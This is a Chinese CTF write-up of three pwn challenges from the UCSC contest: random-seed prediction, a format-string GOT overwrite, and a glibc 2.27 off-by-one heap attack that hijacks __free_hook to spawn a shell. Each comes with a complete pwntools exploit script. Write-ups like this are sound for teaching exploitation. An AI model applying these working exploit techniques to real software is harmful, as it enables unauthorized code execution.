0x00 前言:

kap0k 23级的第二场获奖的团队赛,最终只贡献了2道PWN,还是靠RE队友带飞了。最后一题堆题的复现拖了很久,总体来说不是什么难题,从这题开始稍微了解了一些unsorted bin的机制和off by one的攻击原理。做出来的两题都是比较简单的,所以可能写得有点粗糙,但最后一题堆题绝对写的很详细!

0x01 题解部分:

BoFido-ucsc

checksec一下:

Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

Ida
就是一个简单的猜随机数。该随机数的生成依赖于种子,也就是说,如果种子一样,生成的随机数序列就一样。
使用srand()函数来设定与题目相同的随机数种子,即可做到猜测随机数的效果

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/BoFido'
elf=ELF(file)
libc=cdll.LoadLibrary('/home/link/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

choice = 0x001
if choice:
port=41491
ucsc='39.107.58.236'
p = remote(ucsc,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

sla('Enter your name:\n',b'aaaa')
libc.srand(libc.time(0))
for i in range(10):
v10 = libc.rand() % 255
v9 = libc.rand() % 255
v8 = libc.rand() % 255
sla('please choose your numbers:',str(v10)+' '+str(v9)+' '+str(v8))

itr()

userlogin-ucsc

惯例:

Arch: amd64-64-little RELRO: Partial RELRO 
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

上ida看看主题逻辑
首先 generatePassword 生成一个密码
依靠伪随机数生成的。继续跟进 login() 函数
输入密码,如果是 supersecureuser 的话走第一个分支,第二个分支是刚刚随机数生成的密码,分别跟进一下
user函数中有fmtstr漏洞,结合程序的保护 RELRO: Partial RELRO,可以修改got表,继续跟进 root 函数

是一个scanf,再翻翻程序中有什么可以利用的
有个shell函数,思路大概是这样:

  1. 第一次先正常输入supersecureuser利用fmtstr把scanf got改掉,往scanf的got表里面写shell函数
  2. 把密码构造出来,输入密码,走另一个分支,执行shell函数。密码构造用到的随机数可以参考上面一题的解法
    动调看一下 scanf_got 需要写多少字节 因为程序中自带的 shell 函数地址一共就 3 字节,而这里 __isoc99_scanf@got 里面存放的地址也是一共 3 字节,我们要覆写的话只需要写两字节,读入的0x20字节绝对够我们利用 fmtstr 漏洞了
from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/pwn'
elf=ELF(file)
libc=cdll.LoadLibrary('/home/link/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

choice = 0x001
if choice:
port=49985
ucsc='39.107.58.236'
p = remote(ucsc,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

sla('Password: ',b'supersecureuser')
scanf_got=elf.got['__isoc99_scanf']
leak('scanf_got')
shell=0x1261

shell_low = shell & 0xffff

# payload = b'aaaaaaaa %p %p %p %p %p %p %p %p %p %p '
payload = b'%4705c%8$hnaaaaa'+p64(scanf_got)

sla('Write Something\n',payload)

table='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!'

libc.srand(libc.time(0))

password=''
for i in range(16):
v5 = libc.rand() % 63
password+=table[v5]
debug()
sla('Password: ',str(password))

itr()

0X02 复现:

疯狂复制-ucsc

基本分析

老样子 checksec

Arch:       amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/link/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/'
Stripped: No

Patch 过了,ubuntu 18.04,2.27堆题,上 ida 看看
经典菜单堆,大致看了一遍,没有 UAF,值得注意的是编辑堆功能
跟进 setinput 函数
是逐个字节读入,而且他的读入长度貌似是有问题的,先读入后判断长度,简单来说就是有 off by one 漏洞。当时比赛的时候我就找了一道很类似的题目来看 XYCTF2024-pwn-one_byte【off by one】可惜当时太急了,加上自己对堆这块还不太熟悉,卡在中间步骤了。接下来会一点一点分析

攻击思路

首先先梳理一下攻击思路:

  1. 先创建 7 个堆块,再分别 free 掉。这样做的目的是填满 Tcache
  2. 创建一个不属于 fastbin 大小的堆块,再 free 掉,这样做的目的是得到 unsorted bin,用以泄露 libc
  3. 申请与一个小的堆块,目的是从 unsorted bin 中割一部分出来。只要让堆块进入 unsorted bin 中即可得到 unsorted bin 中残留的 fd 和 bk 指针,可以用于泄露 libc 基地址
  4. 再将剩下的 unsorted bin 申请回去,因我们后续还需要申请一些小堆块来进行 off by one,为了防止这些小堆块是从 unsorted bin 中取出的,所以先清理干净
  5. 利用 off by one 制造 UAF
  6. 劫持 __free_hook 为 system,给其中一个堆块写入 /bin/sh
  7. 对写入 /bin/sh 的堆块进行 free 操作触发 __free_hook, 实际上执行的是 system('/bin/sh\x00')

leak一下libc

前 3 步还是比较简单的:

# 填满tcache
malloc(0,0x98)
malloc(1,0x98)
malloc(2,0x98)
malloc(3,0x98)
malloc(4,0x98)
malloc(5,0x98)
malloc(6,0x98)

# debug()
malloc(7,0x98)
malloc(8,0x18)

free(0)
free(1)
free(2)
free(3)
free(4)
free(5)
free(6)

# 制造unsorted bin
free(7)
# 分割unsorted bin,泄露libc
malloc(7,0x30)
show(7)
libc_base=uru64()-0x3ebd30
leak('libc_base')

debug()
# 申请出多余的chunk
malloc(9,0x58)

最后申请出多余的 unsorted bin 所需要的大小可以通过计算或者动调得到:

off by one和UAF的组合拳

剩下的几步就是 off by one 和 UAF 的组合拳了。首先,为了让 off by one 凑效,我们申请的 chunk 的大小需要为 0x18,同时我们还会再申请三个堆块用作伪造 uaf

malloc(10,0x18)
malloc(11,0x68)
malloc(12,0x68)
malloc(13,0x68)

这样我们可以利用第 10 个堆块的 off by one 漏洞来改写第 11 个堆块的大小,将其改为一个较大的值, 然后将下一个 chunk 给 free 掉,再申请回来,这样便实现了堆块重叠的效果。

payload=b'a'*0x18+p8(0xe1)
edit(10,payload)
free(11)

malloc(14,0xd8)

可以看到第二个堆块的 size 被更改了,由于我们将其申请了回来,所以我们可以对这个堆块进行编辑,只要修改第 12 个 chunk 的 fd 指针位置即可将 chunk 伪造到 __free_hook 上

free(12)
free(13)

free_hook=libc_os(libc.sym['__free_hook'])
payload=b'a'*(0x68)+p64(0x71)+p64(free_hook)
edit(14,payload)

同时我们还需要再 free 两个大小相同的堆块,目的是为了伪造 Tcache 的数量,如果只 free 掉第 12 个堆块的话,在将堆块申请到 __free_hook 上 会出现
这样的情况,会导致一些异常情况的发生,所以我们需要再额外 free 掉一个堆块,来保持 Tcache 中的数量是合法的。最后则是修改 __free_hook 为 system 以及写入 binsh, 然后 free 掉对应的堆块触发 system('/bin/sh')

malloc(0,0x68)
malloc(1,0x68)
malloc(2,0x68)

system = libc_os(libc.sym['system'])
edit(1,b'/bin/sh\x00')
edit(2,p64(system))

free(1)

EXP

完整 EXP

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/pwn2'
elf=ELF(file)
libc=ELF('/mnt/c/Users/Z2023/Desktop/libc-2.27.so')

choice = 0x00
if choice:
port=41491
ucsc='39.107.58.236'
p = remote(ucsc,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
# gdb.attach(p,cmd)
gdb.attach(p,'b *$rebase(0x9cd)')

def malloc(index,size):
sla(':',b'1')
sla('Index: ',str(index))
sla('Size ',str(size))

def free(index):
sla(':',b'4')
sla('Index: ',str(index))

def edit(index,content):
sla(':',b'2')
sla('Index: ',str(index))
sla('Content: ',content)

def show(index):
sla(':',b'3')
sla('Index: ',str(index))

# 填满tcache
malloc(0,0x98)
malloc(1,0x98)
malloc(2,0x98)
malloc(3,0x98)
malloc(4,0x98)
malloc(5,0x98)
malloc(6,0x98)

# debug()
malloc(7,0x98)
malloc(8,0x18)

free(0)
free(1)
free(2)
free(3)
free(4)
free(5)
free(6)

# 制造unsorted bin
free(7)
# 分割unsorted bin,泄露
malloc(7,0x30)
show(7)
libc_base=uru64()-0x3ebd30
leak('libc_base')

debug()
# 申请出多余的chunk
malloc(9,0x58)

# off by one
malloc(10,0x18)
malloc(11,0x68)
malloc(12,0x68)
malloc(13,0x68)

payload=b'a'*0x18+p8(0xe1)
edit(10,payload)
free(11)

malloc(14,0xd8)

# 更改Tcache的index:
free(12)
free(13)

free_hook=libc_os(libc.sym['__free_hook'])
payload=b'a'*(0x68)+p64(0x71)+p64(free_hook)
edit(14,payload)

debug()

malloc(0,0x68)
malloc(1,0x68)
malloc(2,0x68)

system = libc_os(libc.sym['system'])
edit(1,b'/bin/sh\x00')
edit(2,p64(system))

free(1)

itr()

复现的时候是能打通本地的,但是没有复现环境,不知道远程的情况如何,就当我暂时复现完了。